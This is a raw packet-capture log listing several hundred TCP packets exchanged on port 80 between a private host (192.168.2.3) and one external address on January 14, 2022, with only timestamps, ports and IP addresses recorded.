Jan 14, 2022 01:51:44.562238932 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562272072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562274933 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562309980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562347889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562385082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562391996 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562422037 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562431097 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562459946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562496901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562534094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562540054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562572002 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.562576056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.562608004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.565306902 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636315107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636380911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636420012 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636457920 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636460066 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636497021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636534929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636547089 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636574984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636585951 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636614084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636652946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636692047 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636702061 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636729002 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636734962 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636766911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636807919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636837006 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636846066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636885881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636898041 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.636923075 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636962891 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.636992931 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637002945 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637047052 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637065887 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637087107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637125015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637162924 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637197971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637202978 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637227058 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637240887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637280941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637307882 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637336969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637372971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637394905 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637420893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637469053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637474060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637520075 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637558937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637595892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637599945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637634039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637648106 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637674093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637711048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637749910 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637749910 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637789965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637820959 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637828112 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637882948 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.637903929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637943983 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637979984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.637998104 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.638020039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638056040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638082027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.638094902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638135910 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638173103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638184071 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.638219118 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.638734102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638775110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.638931036 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712204933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712282896 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712344885 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712389946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712429047 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712435961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712465048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712469101 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712508917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712544918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712558031 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712584019 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712589979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712622881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712785959 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712827921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712837934 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712863922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712868929 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.712903023 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712941885 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712977886 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.712990046 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713022947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713110924 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713151932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713191032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713229895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713239908 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713267088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713284016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713304043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713397980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713440895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713447094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713485003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713526011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713614941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713654041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.713704109 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.713738918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714237928 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.714499950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714556932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714596033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714634895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714674950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714711905 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714750051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714764118 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.714790106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714792013 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.714829922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714869976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714906931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714919090 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.714947939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.714987993 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715024948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715044022 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715065956 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715070009 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715106964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715147018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715186119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715199947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715224028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715235949 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715264082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715313911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715349913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715364933 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715389013 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715394020 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715428114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715465069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715503931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715514898 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715543985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715549946 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715583086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715622902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715658903 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715673923 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715698957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715703964 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715739012 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715776920 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715816021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715831995 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715854883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715861082 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.715893984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715934038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715970993 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.715984106 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716010094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716017008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716064930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716103077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716142893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716150999 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716182947 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716196060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716222048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716260910 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716300011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716314077 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716341972 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716346025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716383934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716420889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716459990 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716471910 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716500044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.716505051 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.716537952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.717370033 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.779282093 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790189028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790241003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790282011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790323973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790332079 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790363073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790371895 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790405035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790442944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790460110 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790483952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790524960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790564060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790576935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790604115 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790608883 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790644884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790700912 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790745974 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790751934 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790792942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790796041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790838957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790879011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790925980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790932894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.790965080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.790971041 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791004896 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791055918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791095972 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791110992 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791136026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791143894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791176081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791215897 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791254044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791268110 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791292906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791310072 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791336060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791373968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791413069 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791425943 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791452885 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791456938 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791491985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791532040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791569948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791582108 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791609049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791615963 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791650057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791686058 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791726112 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791738033 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791764975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791769981 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791805029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791843891 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791882038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791896105 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791922092 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791924953 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.791960955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.791999102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792037964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792049885 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792077065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792083979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792117119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792156935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792193890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792207003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792233944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792238951 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792273998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792313099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792351961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792360067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792392969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792397976 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792432070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792471886 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792509079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792521954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792548895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792556047 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792588949 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792625904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792665005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792676926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792702913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792711020 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792743921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792783976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792820930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792836905 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792860031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792865038 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.792901039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792937040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792975903 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.792989016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793015957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793028116 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793056011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793096066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793133020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793145895 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793171883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793184996 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793211937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793248892 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793287039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793303013 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793328047 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793339968 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793369055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793410063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793447018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793461084 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793486118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.793493032 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.793525934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.797333956 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.852873087 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.852961063 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.856411934 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:44.866966963 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867008924 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:44.867049932 CET	80	49856	141.8.194.74	192.168.2.3
